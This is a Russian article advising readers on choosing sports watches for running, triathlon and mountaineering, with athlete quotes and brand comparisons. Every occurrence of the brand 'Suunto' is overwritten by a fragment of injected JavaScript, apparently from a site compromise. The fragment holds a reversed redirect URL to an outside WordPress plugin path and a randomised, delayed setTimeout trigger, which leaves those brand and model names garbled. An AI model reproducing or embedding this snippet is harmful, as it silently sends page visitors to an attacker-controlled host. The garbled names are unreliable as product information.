Хотите поменять фитнес-браслет на что-то более серьёзное? Обратите внимание на спортивные часы. Разбираемся, какие функции необходимы для разных видов спорта и сколько стоит хороший девайс.
Тренироваться можно без часов и вообще без экипировки. Но с правильным снаряжением ваши занятия гораздо быстрее дадут результат. Спортивные часы — полезный гаджет, который необходим бегунам, велосипедистам, триатлонистам, туристам и даже альпинистам. Чтобы выбрать подходящие часы, следуйте нашей инструкции.
1. Выберите вид активности
Большинство часов универсальны и подходят для занятий разными видами спорта. Мы говорим именно про часы, потому что фитнес-трекеры, которые многие сегодня носят на запястье, не подходят для серьёзных тренировок. Они могут считать количество шагов, пульс, следить за вашей дневной активностью и потраченными калориями, но не более.
Спортивные часы измеряют скорость, средний темп, пройденное расстояние и высоту по данным GPS, пульс (с помощью нагрудного датчика или встроенного в часы), пульсовые зоны, время восстановления после тренировки. Все часы связаны с приложениями — они помогают просматривать данные после занятий, планировать тренировки и следить за прогрессом. Это общие возможности часов, а вот специальные функции для разных видов спорта.
Для бегунов полезна функция измерения VO2max (максимальный потребляемый объём кислорода). Чем больше этот показатель, тем дольше и быстрее вы можете бежать. Задумайтесь о приобретении нагрудного пульсометра, если его нет в комплекте, — он считывает пульс точнее других. Для длительных забегов важны габариты часов и их вес. Слишком тяжёлые и массивные часы будут вызывать дискомфорт и раздражать на дистанции.
Анна Косова
беговой блогер, марафонец и ультрамарафонец
Есть два типа бегунов. Первые бегают для себя и выходят на пробежку, когда захочется, чтобы пробежать несколько километров в удовольствие. Вторые готовятся к забегам, хотят достигать результатов и ставить рекорды. Если вы только начинаете бегать, то запросто можете обойтись приложением в смартфоне. А когда поймёте, что приложения вам уже не хватает, можно приобретать часы. Если вы бегаете регулярно, пробегаете по пять километров и хотите готовиться к десятке, к полумарафону — часы помогут тренироваться эффективнее.
Часы — «долгоиграющая» вещь, поэтому нужно подходить к выбору тщательно. Не стоит брать самые дешёвые, потому что, скорее всего, их функций вам скоро будет недостаточно. Если вы бегаете для себя в удовольствие, вы легко можете выходить на пробежку с Apple Watch. Но для подготовки к забегам этих часов тоже недостаточно: они не умеют засекать интервалы и отрезки, батарейка работает не так долго, как в спортивных часах.
Фото: suuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.com
Триатлонистам нужны водонепроницаемые часы с режимом мультиспорта. Такие часы умеют автоматически переключаться между видами активности. Почти все спортивные часы водонепроницаемы — отличаются только возможное время и глубина погружения.
Антон Ангел
креатор, триатлонист
Ключевая функция в часах для триатлона — мультиспорт. Сюда входит плавание, велосипед и бег. Часы должны поддерживать плавание в открытой воде, а не только в бассейне, обращайте на это внимание. Цена часов говорит об их функциональности: недорогие спортивные часы часто не поддерживают функции, которые необходимы при подготовке к триатлону. Хорошие часы стоят от 35 тысяч рублей.
Часы должны держать заряд, достаточный для тренировок и длинного старта. Я тренируюсь с Garmin Forerunner 935, эти часы держат заряд около семи дней при десяти часах чистого тренировочного времени в неделю.
Apple Watch для триатлона точно не подойдут — батарея садится через 4 часа в режиме тренировки. На длинные тренировки и тем более забеги этого не хватит. Второй большой недостаток — невозможность подключить к ним внешние датчики: каденса, мощности, скорости.
Туристам и альпинистам важна долгая работа батареи, точный GPS, возможность загружать треки маршрута. Часы помогут следить за временем и ориентироваться в пространстве. Для гор выбирайте часы с барометрическим альтиметром — он определяет высоту по перепадам давления и работает в местах, где не ловит GPS. Дольше всего работают спортивные часы с чёрно-белым циферблатом. Например, часы линейки Suuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ambit3 могут работать 100—200 часов в экономичном режиме и 10—20 часов в режиме максимальной точности GPS.
2. Выберите бренд и изучите разные модели спортивных часов
Сегодня топовые мировые бренды спортивных часов — это Garmin, Polar и Suuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to. Они предлагают линейки часов для фитнеса, бега, мультиспорта. При этом бренд Garmin больше ориентирован на бегунов-марафонцев, Suuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to — на трейлраннеров, триатлонистов и альпинистов. У Polar флагманские модели созданы для триатлона.
Анна Косова
бегунья, марафонец
Сегодня цена часов зависит в основном от времени работы батарейки. Выбирайте часы исходя из интерфейса и удобства синхронизации с вашим телефоном. Перед покупкой посмотрите сайты, приложения разных брендов, решите, какой вам нравится больше. Часы должны быть удобными в использовании. Например, я люблю Garmin за простоту и удобство. Они автоматически синхронизируются с айфоном: я просто нажимаю «стоп» в конце тренировки и знаю, что все данные с пробежки отобразятся в телефоне. Я всю жизнь бегаю с Nike Running Club, а Garmin автоматически подгружает пробежки туда — очень удобно. Например, пробежки с встроенной программой на Apple Watch остаются только в «Тренировках».
Главный минус Suuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to — проблемы с синхронизацией: часы теряют соединение, их надо перезагружать, что очень неудобно.
Фото: garmin.com
3. Не покупайте спортивные часы сразу
Присмотрите несколько подходящих моделей и отправляйтесь в магазин. Покупать спортивные часы сразу не обязательно: изучите каждую модель, примерьте и решите, какая подходит вам больше.
В розничных магазинах спортивные часы продаются с большими наценками. Изучите сайты зарубежных интернет-магазинов, в которых есть нужная вам модель. Даже с учётом доставки цена может быть ниже в два раза.
Статьи по теме
10 крутых гаджетов, которые помогут вести здоровый образ жизни
Тестируем гаджет: спортивные часы Suuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 3 Fitness
I Love Supersport проведёт лекции о триатлоне
Стоит ли бегать марафоны: плюсы и минусы